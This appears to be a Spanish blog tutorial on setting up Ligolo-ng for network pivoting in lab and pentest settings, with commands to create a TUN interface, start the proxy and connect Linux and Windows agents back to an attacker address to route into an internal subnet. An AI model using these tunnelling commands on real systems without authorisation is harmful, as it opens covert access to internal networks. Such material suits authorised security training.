¿Qué es Ligolo-ng?
Ligolo-ng es una herramienta muy útil para pivoting y tunelización durante entornos de laboratorio, pentesting y preparación de infraestructura ofensiva. Permite enrutar tráfico hacia redes internas a través de un agente y un proxy, sin depender de una VPN tradicional.
En este post dejo una configuración básica y funcional para levantar la interfaz ligolo, arrancar el proxy y conectar el agente.
Preparar la interfaz TUN en la máquina atacante
Primero, elimina cualquier configuración anterior y vuelve a crear la interfaz:
# Eliminar configuración anterior si existesudo ip link delete ligolo 2>/dev/nullsudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upVerificar que la interfaz quedó activa
ip link show ligoloDeberías ver la interfaz en estado UP.
Levantar el proxy de Ligolo-ng
En la máquina atacante:
cd ~/tools/ligolo/proxy./proxy -selfcert -laddr 0.0.0.0:11610Ese proceso dejará el proxy escuchando en el puerto 11610. No cierres esa terminal mientras la sesión esté activa.
Conectar el agente
En Linux
./agent -connect 10.10.14.157:11610 -ignore-certEn Windows
./agent.exe -connect 10.10.14.157:11610 -ignore-certCuando el agente se conecte, desde el proxy podrás seleccionar la sesión y levantar el túnel.
Levantar la sesión y enrutar la red interna
Después de hacer start dentro de Ligolo-ng, añade la ruta en tu máquina atacante hacia la red que quieras alcanzar:
sudo ip route add 172.16.5.0/24 dev ligoloCon eso, el tráfico destinado a esa red se enviará a través de la interfaz ligolo.
Flujo resumido
# 1. Preparar interfazsudo ip link delete ligolo 2>/dev/nullsudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo up
# 2. Verificarip link show ligolo
# 3. Levantar proxycd ~/tools/ligolo/proxy./proxy -selfcert -laddr 0.0.0.0:11610
# 4. Conectar agente Linux./agent -connect 10.10.14.157:11610 -ignore-cert
# 5. Conectar agente Windows./agent.exe -connect 10.10.14.157:11610 -ignore-cert
# 6. Tras hacer start en Ligolo, añadir la rutasudo ip route add 172.16.5.0/24 dev ligoloRecomendación
Antes de añadir rutas, verifica bien qué subred te muestra la sesión activa y asegúrate de no pisar rutas ya existentes en tu máquina atacante. Si trabajas con varias redes internas, documentar cada segmento y cada interfaz te ahorra bastantes errores durante el pivoting.